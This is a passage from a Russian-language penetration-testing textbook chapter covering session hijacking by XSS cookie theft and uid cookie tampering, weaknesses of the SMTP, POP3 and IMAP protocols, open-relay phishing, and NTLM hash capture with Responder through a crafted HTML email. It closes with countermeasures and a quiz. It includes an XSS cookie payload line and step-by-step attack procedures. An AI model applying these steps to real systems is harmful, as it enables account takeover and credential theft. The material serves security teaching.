Итак, теперь мы ознакомились с основами переполнения буфера и давайте перейдём к иному классу атак на веб приложения, которые напрямую не вовлечены в компрометацию инфраструктуры серверной основы, однако компрометируют учётные записи пользователя или угоняют их.

Угон сеанса

Угон сеанса это хорошо известная атака при которой злоумышленник компрометирует учётную запись пользователя через компрометацию его сеанса. Этого можно достичь множеством способов, но наиболее известные методы это простой перебор, инъекции в куки, прослушивание сети и обратное проектирование. Итак, давайте сначала разберёмся что собой представляют сеансы?

На данный момент нам известно, что HTTP это протокол без состояний, что означает, что как только вся передача из конца в конец завершена, данное соединение между машиной пользователя и сервером также утрачивается и пользователю придётся запрашивать другую транзакцию снова. Таким образом, чтобы продолжать отслеживать действия конечного пользователя, разработчики приложений пришли к новым методикам для удержания записей сеанса с тем, чтобы такой пользователю не приходилось бы запрашивать большое число сеансов для той же самой или для новой транзакции.

Такие записи сеанса носят название файлов куки (cookies) и они сохраняются на машине клиента. Такой тип куки носит название куки на основе сохранения (persistent-based).

Однако со временем также развивались и атаки на файлы куки, а потому разработчики придумали ещё одну блестящую идею с точки зрения безопасности хранить куки на протяжении ограниченного периода времени и они носят название куки на основе сеанса или непостоянных куки. Но со временем также развились и атаки на непостоянные куки.

Итак, давайте разберёмся как выглядят куки. Это отображено на снимке экрана ниже:

 

Рисунок 14.28


Назначенные пользователю администратору куки

Как видно из Рисунка 14.28, после успешной аутентификации пользователя, его веб сервер назначает для данного пользователя некий куки для прохождения по этому приложению не осуществляя в нём регистрацию.

Таким образом, мы поняли что представляет собой сеанс и давайте взглянем на некоторые атаки на основе сеанса.

 

Угон сеансов посредством XSS

На данный момент мы знакомы с XSS по разделу о них, а потому давайте напрямую перескочим к краже куки:

  1. В полоске поиска страницы нахождения DNS введите такой сценарий:

    
    <script>alert(document.cookie);</script>
     	   

    Это отображено на следующем снимке экрана:

     

    Рисунок 14.29


    Сценарий кражи куки

    Как видно из Рисунка 14.29, в строке поиска DNS внедрён код JavaScript кражи куки.

  2. На экране ниже показано, что наше веб приложение обладает уязвимостью и не безопасно в отношении угона сеанса:

     

    Рисунок 14.30


    Маркер сеанса текущего пользователя

Как мы видим из Рисунка 14.30, как только жертва кликает по снабжённой вручную полезной нагрузке, злоумышленник станет способным скомпрометировать файлы коки жертвы в отношении аутентификации его учётной записи. Таким образом, теперь мы изучили угон сеанса через XSS и давайте бросим взгляд на другую атаку угона сеанса.

 

Угон сеансов через вмешательство в куки

Подделка куки (Cookie tampering) это атака, при которой злоумышленник в заголовке отклика выполняет манипуляции с параметром cookie выполнившего аутентификацию пользователя для компрометации учётных записей с более высоким уровнем приоритета:

  1. Приводимый снимок экрана отображает регистрацию пользователя test:

     

    Рисунок 14.31


    Регистрация тестового пользователя

    Как видно из Рисунка 14.31, пользователь test зарегистрирован. Давайте внедрим шпионский запрос при помощи Burp Suite и разберёмся с форматом установленного куки.

  2. Снимок экрана ниже показывает, что для нашего пользователя test назначен параметр куки uid=29:

     

    Рисунок 14.32


    Тестовому пользователю установлен uid=29

    Как видно из Рисунка 14.32, для пользователя test установлены два параметра куки PHPSESSID и uid=29. Однако важно понимать, какой именно параметр настроен для аутентификации этого пользователя.

  3. Показанный далее снимок экрана отображает, что параметр uid=29 установлен для пользователя test:

     

    Рисунок 14.33


    uid=29 установлен в виде куки для нашего тестового пользователя

    Как видно из Рисунка 14.33, только параметр uid=29 установлен в качестве куки. Таким образом, давайте выполним манипуляции с прочими параметрами чтобы проверить сможем ли мы выполнить аутентификацию в качестве некого иного пользователя или нет.

  4. Теперь заменим параметр uid=29 на uid=1, как это показано на снимке экрана далее:

     

    Рисунок 14.34


    Манипуляции с куки uid=1

    Как видно из Рисунка 14.34, файл куки uid аутентификации сфабрикован на равный 1.

  5. Теперь передадим свой запрос. Приводимый далее снимок экрана отображает, что теперь зарегистрирован пользователь admin:

     

    Рисунок 14.35


    Пользователь администратор теперь зарегистрирован

    Как мы можем наблюдать на Рисунке 14.35, мы осуществили аутентификацию пользователя admin.

На текущий момент, хотя мы и изучили основные главные на основе сеансов, все возможные атаки нам было бы продемонстрировать крайне затруднительно. Мы ожидаем что вы попрактикуетесь в прочих атаках сеанса, например в простом переборе (brute force) или фиксации сеанса (fixing session). А сейчас давайте перейдём к следующему разделу и ознакомимся с лазейками в почтовой службе.

Протоколы и лазейки электронной почты

Email это сокращение для electronic mail (электронной почты), применяется для отправки и получения сообщений в электронном виде. Для отправки или получения электронной почты имеется три основных протокола:

  • POP(3) (Post Office Protocol, протокол почтового ящика)

  • IMAP(4) (Internet Message Access Protocol, протокол доступа к интернет сообщениям)

  • SMTP (Simple Mail Transfer Protocol, простой протокол передачи сообщений)

Все эти протоколы используются для отправки и получения сообщений, однако они все отличаются друг от друга. Таким образом, давайте поймём ключевые отличия между этими тремя основными протоколами электронной почты:

  • POP(3): Текущая версия POP это 3; тем самым, он порой записывается как POP3 или POP(3). Основное отличие между POP(3) и IMAP and SMTP состоит в том, что после отправки и получения электронных сообщений от своего сервера, он создаёт локальную копию всей почты на машине своего клиента и затем удаляет соответствующую копию в этом сервере обмена. Как вариант, вы можете выполнить настройку и не удалять соответствующее электронное письмо после его выгрузки . POP(3) пользуется портами с номерами 110 или 995 (SSL/TLS).

  • IMAP(4): Текущая версия IMAP 4-я; следовательно он порой записывается как IMAP4 или IMAP(4). IMAP известен как некая расширенная версия POP3, потому как после создания локальной копии соответствующего заголовка некого электронного сообщения он не удаляет это электронное сообщение со своего сервера обмена. IMAP пользуется портами 143 и 993 (SSL/TLS).

  • SMTP: Это первоначальный протокол, применявшийся для отправки или ретрансляции электронных сообщений в серверы MX (Mail Exchange, обмена почтой) из таких клиентов электронной почты как Outlook и Apple Mail. SMTP пользуется портами 25, 465 и 587.

Теперь, давайте скомбинируем эти три протокола электронной почты и разберёмся как они работают в реальном масштабе времени:

 

Рисунок 14.36


Протоколы электронной почты

Как показано на Рисунке 14.36, все три протокола работают совместно для отправки и получения электронных сообщений. Таким образом, на данный момент мы разобрались с основами протоколов электронной почты и давайте посмотрим на слабые места протоколов электронной почты.

[Замечание]Замечание

Для целей данной главы мы осуществим тестирование на проникновение в протокол SMTP, однако та же самая методология может также выполняться для двух других протоколов. Мы ожидаем что вы попрактикуетесь с ними в своих внутренних лабораторных занятиях.

Лазейки протокола SMTP

С течением времени исследователи безопасности почти каждый день придумывают новые методы взлома серверов MX (Mail Exchange, Обмена почтой). Итак, давайте разберёмся в различных вариантах применения SMTP.

При помощи утилиты NMAP давайте осуществим сканирование уязвимостей удалённо установленного сервера SMTP с портом 25. Это показано на следующем снимке экрана:

 

Рисунок 14.37


Сканирование уязвимостей SMTP

Как мы видим из Рисунка 14.37, а именно, из строк характерных признаков, для удалённого применения доступно много сведений о сервере SMTP, например, Oracle-TNS и JAVA-RMI. Данная глава сосредоточится только на SMTP, однако потратьте время и на их исследование.

Строки и характерным признаками также раскрывают и некоторые имеющиеся команды, такие как HELLO и HELP, однако этот сервер SMTP не уязвим для применений Exim.

К тому же наш сервер имеет настроенными пользователей по умолчанию. Кроме того, он также поддерживает ретрансляцию в открытом виде, которая упрощает атаки на всякого пользователя внутренней организации посредством отправки фишинговой электронной почты от прочих пользователей с тем же самым или неким открытым доменом.

Итак, давайте воспользуемся этим для отправки фишинговых электронных писем настроенному локально пользователю, как это отражено на снимке экрана далее:

 

Рисунок 14.38


Ретрансляция электронной почты SMTP

Как можно наблюдать на Рисунке 14.38, злоумышленник вручную подделывает электронное письмо для отправки другому пользователь. Затем, что если злоумышленник отправит созданную вручную полезную нагрузку реверсивного соединения TCP или из соответствующего outlook жертвы создаст C2C (Command and Control Center, Центр команд и контроля) к их внешнему серверу для считывания электронной почты или также и для компрометации машины своей жертвы? Мы оставим вам для упражнений в дальнейшем.

Другим главным недостатком использования SMTP с конфигурацией по умолчанию является то, что любой злоумышленник, воспользовавшись пассивным прослушиванием внутренней сетевой среды, может подслушивать исходящие конфигурации, как это показано на снимке экрана ниже:

 

Рисунок 14.39


Подслушанные данные простого текста

Как мы можем наблюдать на Рисунке 14.39, расположившийся внутри некой организации злоумышленник способен запросто прослушивать простой текст исходящие переговоров SMTP. Таким образом, раз мы теперь изучили ряд атак на протокол SMTP, давайте взглянем на некоторые возможные атаки на шлюзы электронной почты в процессе операций в реальном масштабе времени.

Фишинг

Фишинг это хорошо известная и распространённая в наши дни атака. Фишинг включает в себя отправку поддельного электронного письма злоумышленника, которое содержит вредоносные ссылки, переправляющие на внешние страницы, такие как фальшивые страницы Amazon или Facebook, либо вредоносных офисных файлов, например, файлов Word, PDF и Excel.

В наши дни такие полезные нагрузки очень распространены и знакомы профессионалам безопасности, однако имеется и иной тип вредоносной полезной нагрузки, которая вручную собирается в виде HTML и применяется для компрометации хэшей NTLM ( New Technology LAN Manager) пользователей домена.

Подобная фишинговая атака очень полезна, ибо жертве даже не приходится открывать такое электронное письмо; достаточно всего лишь одного клика по ней. Когда такая жертва закрывает Outlook и повторно его открывает, злоумышленник имел бы возможность компрометации его хэшей NTLM. Этого можно достигать созданием вручную полезной нагрузки внутри файла Excel, Word или PDF, что мы и продемонстрируем:

  1. Создайте руками полезную нагрузку HTML и подключите её к Outlook, как это показано на снимке экрана ниже:

     

    Рисунок 14.40


    Вредоносная полезная нагрузка созданного вручную HTML

    Как мы наблюдаем на Рисунке 14.40, злоумышленник вручную создал полезную нагрузку HTML. Давайте отправим это содержимое HTML своей жертве.

  2. Теперь, когда эта жертва получает такое электронное письмо и кликает по нему, немедленно всплывает открывающееся окно и пытается выполнить контакт с сервером злоумышленника. Это отображено на идущем следом снимке экрана:

     

    Рисунок 14.41


    Вредоносная полезная нагрузка созданного вручную HTML

    Как видно из Рисунка 14.41, раз наша жертва кликнула по данному электронному письму, Outlook немедленно запустит подключение к серверу злоумышленника для получения доступа к запрошенному файлу.

  3. После того, как этот злоумышленник получил ожидаемый запрос от машины своей жертвы, утилита responder немедленно перехватит содержащиеся там учётные данные NTLM или даже открытый текст, когда включён протокол WPAD (Web Proxy Auto-Discover, автоматического выявления веб посредника):

     

    Рисунок 14.42


    Полученные обычным текстом учётные данные

На Рисунке 14.42 показано, что WPAD разрешён, а следовательно автоматически сохраняемые учётные данные жертвы немедленно были перехвачены на стороне злоумышленника. Такая атака весьма плодотворна в процессе операций красной команды, в особенности для компрометации хэшей или учётных записей администраторов домена.

[Замечание]Замечание

Хотя мы и изучили разнообразные атаки на протоколы, шлюзы и тому подобное у электронной почты, существует большое число доступных злоумышленникам современных атак, как правило, применяемых для компрометации шлюзов электронной почты, например, отправка вредоносного ПО, обмен внедрениями электронной почты и взятие под контроль учётных записей, которые не рассматриваются в данной главе. Однако мы ожидаем, что вы попрактикуетесь и с ними.

Давайте теперь взглянем на некоторые простые шаги для защиты наших веб служб и служб электронной почты.

Контрмеры и оборона

Чтобы защитить веб приложения и службы электронной почты от злоумышленников, следует приспособить такие контрмеры:

  • Реализовать надлежащим образом проверку исходного кода веб приложения для защиты против главных атак внедрением, таких как SQLI и XSS.

  • Осуществлять надлежащее управление сеансом, такое как маркеры безопасности сеанса, для снижения возможности атак на основе сеансов, подобных угонам сеансов и подделкам файлов куки.

  • Настраивать многофакторную аутентификацию для защиты аутентификации шлюза электронной почты.

  • Надлежащим образом настраивать мобильность и безопасность для внутренних доменов.

  • Отключать ретрансляцию электронной почты когда она не требуется, либо реализовывать аутентификацию и запрещать пользователей по умолчанию.

  • Все вложения обязательно должны подвергаться надлежащему сканированию на характерные признаки вирусов, а такие расширения как .exe, .bat и .msi следует заносить в чёрные списки и немедленно блокировать.

  • В шлюзах электронной почты надлежит включать фильтрацию доменов.

Выводы

В данной главе мы изучили протоколы взаимодействия веб приложений, такие как HTTP и HTTP2. Также мы взглянули на вызываемые HTTP проблемы и разрешаемые им через введение встраиваемых в HTTP сертификатов SSL/ TLS и мы пришли к новому безопасному протоколу, HTTPS. Также мы изучили разнообразные атаки на веб приложения, например, инъекции SQl, XSS, угон сеансов и переполнение буфера, причём на практических примерах. Другой рассмотренной нами службой была электронная почта и её соответствующие протоколы, уязвимости и атаки на шлюзы.

В своей следующей главе мы рассмотрим более углублённые вопросы, такие как протоколы корпоративной безопасности, включая LDAP и SMB, их операции, использование и соответствующие атаки на них. Также мы взглянем на атаки на серверы SQL, которые могут давать злоумышленникам шанс на компрометацию даже администратора домена.

Вопросы

  1. Какой порт применяется для HTTP?

    1. 80

    2. 443

    3. 825

    4. 1001

  2. Какой порт используется HTTPS?

    1. 80

    2. 99

    3. 8443

    4. 443

  3. Какой протокол применяет сертификат SSL/ TLS для передачи данных?

    1. SMTP

    2. HTTP

    3. HTTPS

    4. NTLM

  4. Под какой класс атак подпадает внедрение в SQL?

    1. XSS

    2. Внедрение

    3. Фишинг

    4. Переполнение

  5. Для чего применяется атака XSS?

    1. Кража файлов куки

    2. Порча вебсайта

    3. Компрометация учётной записи

    4. Всё перечисленное

  6. Для чего используется атака угона сеанса?

    1. Компрометация учётной записи пользователя

    2. Удалённое исполнение команд

    3. Выгрузка вредоносного программного обеспечения в серверы

    4. Крушения вебсайта

  7. Какой протокол применяется для отправки электронных писем?

    1. POP3

    2. SMTP

    3. IMAP

    4. LAN

  8. По какому порту работает SMTP?

    1. 99

    2. 25

    3. 110

    4. 443

  9. Для чего применяется атака фишинга?

    1. Для отправления поддельных электронных писем

    2. Для выделения базы данных

    3. Для ретрансляции электронных писем

    4. Для осуществления сканирования уязвимостей